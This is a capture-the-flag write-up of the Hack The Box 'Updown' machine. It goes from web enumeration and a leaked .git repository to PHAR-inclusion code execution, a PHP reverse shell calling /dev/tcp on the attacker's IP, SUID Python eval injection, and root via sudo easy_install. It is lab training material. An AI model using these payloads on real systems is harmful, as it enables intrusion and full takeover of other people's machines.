HTB: Updown Writeup

Machine Info

  • Medium-difficulty Linux machine with SSH and Apache exposed.
  • The Apache site hosts a web app that checks whether a webpage is up.
  • .git directory is found on the server and can be downloaded.
  • The downloaded repo reveals source code for a dev subdomain.
  • The dev subdomain is only accessible when a special HTTP header is supplied.
  • The dev subdomain accepts file uploads.
  • Unsafe handling of uploads allows remote code execution via the phar:// PHP wrapper.
  • Pivot: code is injected into a SUID Python helper to gain a shell as the developer user.
  • The developer user can run easy_install via sudo without a password.
  • By installing a malicious Python package with easy_install (privileges are not dropped), the attacker can retain root access.

Reconnaissance

From nmap scanning, this host has two open ports: SSH(22) and HTTP(80).

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate=1000 -T4 10.129.227.227  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 16:00 EDT
Nmap scan report for 10.129.227.227
Host is up (0.039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 69.31 seconds

A service/version scan identified OpenSSH 8.2p1 and Apache httpd 2.4.41.

┌──(kali㉿kali)-[~]
└─$ nmap -p 22,80 -sV -Pn 10.129.227.227
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 16:02 EDT
Nmap scan report for 10.129.227.227
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds

Accessing http://10.129.127.127:80 shows the siteisup.htb site.

I added siteisup.htb 10.129.127.127 to /etc/hosts.

┌──(kali㉿kali)-[~]
└─$ echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts
10.129.227.227 siteisup.htb

To test the web app, I supplied http://127.0.0.1/ in the input field, enabled debug mode, and inspected the result

The application issues an HTTP request to the provided URL, and displays the response in the debug section.

HTTP/1.1 200 OK
Date: Sun, 19 Oct 2025 20:30:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1131
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ?</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">Here you can check if your website is up or down.</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="POST">
			<label>Website to check:</label><br><br>
			<input type="text" name="site" value="" placeholder="http://google.com">
			<input type="checkbox" id="debug" name="debug" value="1">
			<label for="debug"> Debug mode  (On/Off) </label><br>
			<input type="submit" value="Check">
		</form>

      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb</p><br>
      </footer>
    </div>

  </body>
</html>

The site’s homepage is reachable at siteisup.htb/index.php, indicating the site is built with PHP.

I ran feroxbuster against the site with the -x php option to enumerate .php endpoints; it returned the path http://siteisup.htb/dev/.

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://siteisup.htb -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://siteisup.htb/
 🚩  In-Scope Url          │ siteisup.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      320l      675w     5531c http://siteisup.htb/stylesheet.css
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET       40l       93w     1131c http://siteisup.htb/index.php
200      GET       40l       93w     1131c http://siteisup.htb/
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php
[####################] - 57s    60005/60005   0s      found:5       errors:0      
[####################] - 56s    30000/30000   540/s   http://siteisup.htb/ 
[####################] - 55s    30000/30000   543/s   http://siteisup.htb/dev/   

We also used wfuzz to fuzz for different vHosts; before running the command, verify the wordlist location:

┌──(kali㉿kali)-[~]
└─$ find / -iname "subdomains-top1million-5000.txt" 2>/dev/null
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

When the server (in this case, Apache) does not find a specific virtual host that matches the received Host: header, the default virtual host (or a wildcard configuration) usually responds with the same HTML content.

In this case, the response body length is 1131 bytes. I modified the wfuzz command to exclude responses with a length of 1131 bytes.

The fuzzer discovered the dev subdomain, which we add to /etc/hosts:

┌──(kali㉿kali)-[~]
└─$ wfuzz -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1131
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://siteisup.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                         
=====================================================================

000000019:   403        9 L      28 W       281 Ch      "dev"                                           

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Add newly found subdomain to /etc/hosts

echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts

Visiting the subdomain returns 403 Forbidden.

Directory Enumeration

We’ll do more enumeration on the initial domain. Let’s search for directories using gobuster

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://siteisup.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/dev                  (Status: 301) [Size: 310] [--> http://siteisup.htb/dev/]
/index.php            (Status: 200) [Size: 1131]
/server-status        (Status: 403) [Size: 277]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

The output shows a dev directory (redirects to http://siteisup.htb/dev/) and index.php (200). Accessing /dev/returns a blank page (screenshot shown).

Let’s run Gobuster again, this time targeting the /dev/ directory.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://siteisup.htb/dev/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://siteisup.htb/dev/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.git/HEAD            (Status: 200) [Size: 21]
/.htpasswd            (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 0]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

There is a .git directory under dev.

We can use  git-dumper to download the .git repository from the site:

git-dumper http://siteisup.htb/dev/.git dev

Before executing the command above, prepare the environment as follows:

$ sudo apt install -y git python3 python3-pip
$ git clone https://github.com/arthaud/git-dumper.git
$ cd git-dumper
$ python3 -m venv venv
$ source venv/bin/activate
$ python3 git_dumper.py http://siteisup.htb/dev/.git dev

Source Analysis

dev folder contains the following files:

┌──(venv)(kali㉿kali)-[~/git-dumper/dev]
└─$ ls -la
total 40
drwxrwxr-x 3 kali kali 4096 Oct 21 16:15 .
drwxrwxr-x 5 kali kali 4096 Oct 21 13:34 ..
-rw-rw-r-- 1 kali kali   59 Oct 21 16:15 admin.php
-rw-rw-r-- 1 kali kali  147 Oct 21 16:15 changelog.txt
-rw-rw-r-- 1 kali kali 3145 Oct 21 16:15 checker.php
drwxrwxr-x 7 kali kali 4096 Oct 21 16:15 .git
-rw-rw-r-- 1 kali kali  117 Oct 21 16:15 .htaccess
-rw-rw-r-- 1 kali kali  273 Oct 21 16:15 index.php
-rw-rw-r-- 1 kali kali 5531 Oct 21 16:15 stylesheet.css

.htaccess

Take a look at the .htaccess file, which is an Apache configuration file used for redirecting traffic, blocking users, password-protecting directories, and other administrative functions. It requires an HTTP header Special-Dev: only4dev to access the dev site:

┌──(venv)(kali㉿kali)-[~/git-dumper/dev]
└─$ cat .htaccess 
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

index.php

It shows an “Admin Panel” link and unsafely includes user input (include($_GET['page'].".php")) with a weak blacklist (/bin|usr|home|var|etc/i), enabling LFI/traversal and stream-wrapper attacks (e.g. phar://) when uploads are writable:

┌──(venv)(kali㉿kali)-[~/git-dumper/dev]
└─$ cat index.php 
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

admin.php

The script only blocks access if DIRECTACCESS is true, but since it isn’t defined, PHP will treat it as true and always show “Access Denied.”

┌──(venv)(kali㉿kali)-[~/git-dumper/dev]
└─$ cat admin.php 
<?php
if(DIRECTACCESS){
        die("Access Denied");
}

#ToDo
?>

checker.php

If the request is a POST, it first ensures the uploaded file isn’t too large, then obtains the filename. Next, it checks the file extension against a denylist. It creates a directory named uploads/ plus the MD5 hash of the current time and moves the file into that directory:

┌──(venv)(kali㉿kali)-[~/git-dumper/dev]
└─$ cat checker.php  
<?php
if(DIRECTACCESS){
        die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
...snipped...
if($_POST['check']){
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];
        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

.phar is not blocked, so uploaded PHARs can be included. Based on this, we can inspect uploaded files under uploads/; therefore avoid uploading files with these extensions: php, html, py, pl, phtml, zip, rar, gz, gzip, tar.

Subdomain Enumeration

Adding an HTTP header named Special-Dev with the value only4dev to access http://dev.siteisup.htb

Then I can access to the subdomain.

I created a simple info.php file and zipped it. When opened in a browser, info.php displays detailed PHP configuration (version, extensions, and settings), which is useful for debugging.

$ echo "<?php phpinfo(); ?>" > info.php
$ zip info.0xdf info.php 

Upload the following file through [Browse...]

We found that info.0xdf was uploaded and displayed as the MD5 hash of the upload time:

Now on visiting http://dev.siteisup.htb/?page=phar://uploads/31ea285db7b1f2780612d1928f69e21f/info.0xdf/info; This revealed phpinfo() output — demonstrating PHAR-based inclusion and possible RCE:

This indicates remote code execution since we can run arbitrary PHP code. Unfortunately, the phpinfo() output shows functions such as system()shell_exec(), and popen() are disabled, so we’ll need a different approach to gain a foothold.

However, proc_open is not listed as disabled.

Searching the web for the keywords php, disabled_functions, and bypass leads us to a tool called dfunc-bypasser, which automatically loops trough an array of dangerous functions that could produce a reverse shell and checks whether any are enabled on the target. Before running the tool, ensure it sends the Special-Dev HTTP Header.

On line 38 of defunct-bypasser.py we found the relevant code:

if(args.url):
	url = args.url
	phpinfo = requests.get(url).text

We added the header as a parameter and ran the script.

if(args.url):
	url = args.url
	phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text

The script we ran:

python3 defunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/31ea285db7b1f2780612d1928f69e21f/info.0xdf/info'

The run shows proc_open is not blocked. Next, upload the reverse shell as rev.0xdf through http://dev.siteisup.htb/:

<?php
        $descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        );
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.206/443 0>&1'";
        $proc = proc_open($cmd, $descspec, $pipes);

Prepare the file for uploading:

$ zip rev.0xdf rev.php

We can find the file in uploaded site:

Start a listener on the attack machine

nc -lnvp 443

Then trigger RCE by accessing: http://dev.siteisup.htb/?page=phar://uploads/733ab2911c5132357f6629fa070541c9/rev.0xdf/rev

We successfully connect to the target server via the listener and receive a shell as the www-data user. Upgrade the shell using script and stty:

┌──(kali㉿kali)-[~/Documents]
└─$ nc -lnvp 443 
listening on [any] 443 ...
connect to [10.10.14.206] from (UNKNOWN) [10.129.227.227] 48784
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev$ ^Z
zsh: suspended  nc -lnvp 443

┌──(kali㉿kali)-[~/Documents]
└─$ stty raw -echo; fg
[1]  + continued  nc -lnvp 443

Lateral Movement

The html folder contains only an empty index.php, stylesheet.css and the .git directory:

www-data@updown:/var/www$ ls
dev  html
www-data@updown:/var/www$ cd html
www-data@updown:/var/www/html$ ls -la
total 24
drwxr-xr-x 3 www-data www-data 4096 Jun 22  2022 .
drwxr-xr-x 4 www-data www-data 4096 Jun 22  2022 ..
drwxr-xr-x 3 www-data www-data 4096 Oct 20  2021 dev
-rw-r--r-- 1 www-data www-data 2505 Sep 20  2021 index.php
-rw-r--r-- 1 www-data www-data 5531 Aug  5  2021 stylesheet.css

There is one user on the box with a home directory in /home: developer.

www-data@updown:/home$ ls
developer
www-data@updown:/home$ cd developer
www-data@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30  2022 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30  2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2  2022 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Oct 25 14:11 user.txt

The user.txt file exists but is owned by root, so www-data cannot read it.

www-data@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied

Exploring the dev directory shows a setuid binary and a Python script.

setuid binary is an executable with the set-user-ID bit set so that when run it executes with the file owner’s privileges (often root) instead of the invoking user’s.

www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -la
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

siteisup_test.py is written for Python2:

www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

When run, it doesn’t work. That’s because in Python2, input() evaluates the input using eval, and my input isn’t valid python:

www-data@updown:/home/developer/dev$ python2 siteisup_test.py 
Enter URL here:http://10.10.14.206/test
Traceback (most recent call last):
  File "siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://10.10.14.206/test
        ^

Running strings on the application reveals that it calls the python script from within the application.

www-data@updown:/home/developer/dev$ strings -n 20 siteisup
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
deregister_tm_clones
__do_global_dtors_aux
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
_GLOBAL_OFFSET_TABLE_
_ITM_deregisterTMCloneTable
setresuid@@GLIBC_2.2.5
setresgid@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
getegid@@GLIBC_2.2.5
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5

Injecting __import__('os').system('id') executes commands as www-data. Running the setuid binary spawns a shell as developer, but I can’t read user.txt because it is owned by root

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
developer@updown:/home/developer/dev$ cd ..
developer@updown:/home/developer$ ls -l 
total 8
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Oct 25 14:11 user.txt
developer@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied

The developer’s .ssh directory contains an RSA key-pair.

developer@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30  2022 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30  2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2  2022 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Oct 25 14:11 user.txt
developer@updown:/home/developer$ cd .ssh
developer@updown:/home/developer/.ssh$ ls -la
total 20
drwx------ 2 developer developer 4096 Aug  2  2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30  2022 ..
-rw-rw-r-- 1 developer developer  572 Aug  2  2022 authorized_keys
-rw------- 1 developer developer 2602 Aug  2  2022 id_rsa
-rw-r--r-- 1 developer developer  572 Aug  2  2022 id_rsa.pub

The public key matches authorized_keys.

developer@updown:/home/developer/.ssh$ md5sum authorized_keys  id_rsa.pub
4ecdaf650dc5b78cb29737291233fe99  authorized_keys
4ecdaf650dc5b78cb29737291233fe99  id_rsa.pub
developer@updown:/home/developer/dev$ cat /home/developer/.ssh/id_rsa

Using the private key, we SSH into the box as developer:

┌──(kali㉿kali)-[~/git-dumper/dev]
└─$ chmod 600 id_rsa   

┌──(kali㉿kali)-[~/git-dumper/dev]
└─$ ssh -i id_rsa -oKexAlgorithms=diffie-hellman-group14-sha256 developer@10.129.48.175
...[snip]...
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ 

Now, we can get the content of user.txt

developer@updown:~$ ls
dev  user.txt
developer@updown:~$ cat user.txt 

Privilege Escalation

After logging in via SSH, execute sudo -l to list the commands the current user is allowed (or denied) to run with sudo. The user developer can run easy_install as root without a password.

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

easy_install is a Python module bundled with setuptools that automatically downloads, builds, installs, and manages Python packages. But it is deprecated. (see setuptools docs)

It can be abused to escape restricted environments by spawning an interactive system shell. (see GTFOBins) we can use it to escalate from the current user to root.

developer@updown:~$ sudo easy_install $TF
error: No urls, filenames, or requirements specified (see --help)
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.jKbm2Tkfsq
Writing /tmp/tmp.jKbm2Tkfsq/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.jKbm2Tkfsq/egg-dist-tmp-MTm3hd

Now, we can access the resource with root privileges.

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt